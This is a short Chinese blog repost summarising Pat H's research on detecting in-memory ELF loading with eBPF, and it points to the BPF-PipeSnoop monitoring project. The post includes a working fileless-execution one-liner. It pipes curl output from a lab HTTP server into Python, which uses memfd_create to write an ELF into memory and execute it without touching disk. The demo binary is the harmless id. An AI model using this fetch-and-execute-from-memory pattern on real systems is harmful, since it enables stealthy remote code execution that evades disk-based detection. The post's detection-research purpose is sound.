从内存中直接加载执行ELF
2022-10-19 12:19:59 Author: mp.weixin.qq.com(查看原文) 阅读量:5 收藏

作者: Pat H
创建: 2021-02-15

参看

Using eBPF to uncover in-memory loading - Pat H [2021-02-15]
https://blog.tofile.dev/2021/02/15/ebpf-01.html

作者给了一个完整示例,从内存中直接加载执行ELF。bluerust推荐过memfd_create,但我现在很少用C编程,未实践过。Pat H给了Python版示例,演示效果极佳。

假设WEB服务在此

cp /usr/bin/id .
python3 -m http.server -b 192.168.65.25 8080

在客户端验证WEB服务正常

curl -s http://192.168.65.25:8080/id | xxd -s 0 -l 32 -g 1

在客户端确认memfd_create系统调用号是319

$ grep "__NR_memfd_create" /usr/include/asm/unistd_64.h
#define __NR_memfd_create 319

在客户端用curl远程拉id回来,不写硬盘,直接执行

curl -s http://192.168.65.25:8080/id | python3 -c '
import sys, os, ctypes
libc            = ctypes.CDLL( "libc.so.6" )
memfd_create    = 319
fd              = libc.syscall( memfd_create, "", 0 )
data            = sys.stdin.buffer.read()
os.write( fd, data )
path            = f"/proc/self/fd/{fd}"
os.execv( path, [path,] )
'

参看

BPF-PipeSnoop
https://github.com/pathtofile/bpf-pipesnoop

Pat H用eBPF实现对shell管道操作的监控,这是个C项目,应该可以改写成BCC项目。


文章来源: https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247486253&idx=1&sn=f48382e11d1f98b20177c5e4d1ae5aee&chksm=fab2c812cdc54104eed9eaf3dd8b9014c579e67d18cef6fc8bfbbd4286a7c5b612b457c995ac#rd
如有侵权请联系:admin#unsafe.sh